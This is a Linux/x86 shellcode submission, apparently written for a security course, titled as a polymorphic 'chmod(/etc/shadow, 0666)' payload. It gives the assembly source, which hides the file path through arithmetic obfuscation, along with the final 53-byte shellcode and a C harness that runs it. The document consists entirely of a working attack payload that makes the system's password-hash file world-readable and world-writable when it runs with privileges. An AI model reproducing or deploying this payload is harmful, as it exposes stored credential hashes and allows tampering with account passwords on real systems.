#---------------------- DESCRIPTION -------------------------------------#

; Title: chmod(“/etc/shadow”, 0666) and exit for Linux/x86 - Polymorphic 
; Author: Daniel Ortiz
; Tested on: Linux 4.18.0-25-generic #26 Ubuntu
; Size: 53 bytes
; SLAE ID: PA-9844


#---------------------- ASM CODE ------------------------------------------#


SECTION .data

  EXIT_CALL equ 1
  CHMOD_CALL equ 15

SECTION .text


global _start


 _start:
       nop
  cdq
  
  push byte CHMOD_CALL
  pop eax
  

  push edx
  push byte 0x77
  push word 0x6f64
  
  mov esi, 0x222933f0
  add esi, 0x3f3f3f3f
  push esi
  xor esi, esi

  mov esi, 0x243525f0
  add esi, 0x3f3f3f3f
  push esi
  xor esi, esi

  
  mov ebx, esp
  push word 0666Q
  pop ecx
  int 0x80

  mov al, EXIT_CALL
  int 0x80


#------------------------- final shellcode ----------------------------------------#

unsigned char buf[] = 
"\x90\x99\x6a\x0f\x58\x52\x6a\x77\x66"
"\x68\x64\x6f\xbe\xf0\x33\x29\x22\x81"
"\xc6\x3f\x3f\x3f\x3f\x56\x31\xf6\xbe"
"\xf0\x25\x35\x24\x81\xc6\x3f\x3f\x3f"
"\x3f\x56\x31\xf6\x89\xe3\x66\x68\xb6"
"\x01\x59\xcd\x80\xb0\x01\xcd\x80";


#------------------------- usage --------------------------------------------------# 


#include<stdio.h>
#include<string.h>

unsigned char code[] = \ 

"\x90\x99\x6a\x0f\x58\x52\x6a\x77\x66\x68\x64\x6f\xbe\xf0\x33\x29\x22\x81\xc6\x3f\x3f\x3f\x3f\x56\x31\xf6\xbe\xf0\x25\x35\x24\x81\xc6\x3f\x3f\x3f\x3f\x56\x31\xf6\x89\xe3\x66\x68\xb6\x01\x59\xcd\x80\xb0\x01\xcd\x80";


main()
{

        printf("Shellcode Length:  %d\n", strlen(code));

        int (*ret)() = (int(*)())code;

        ret();

}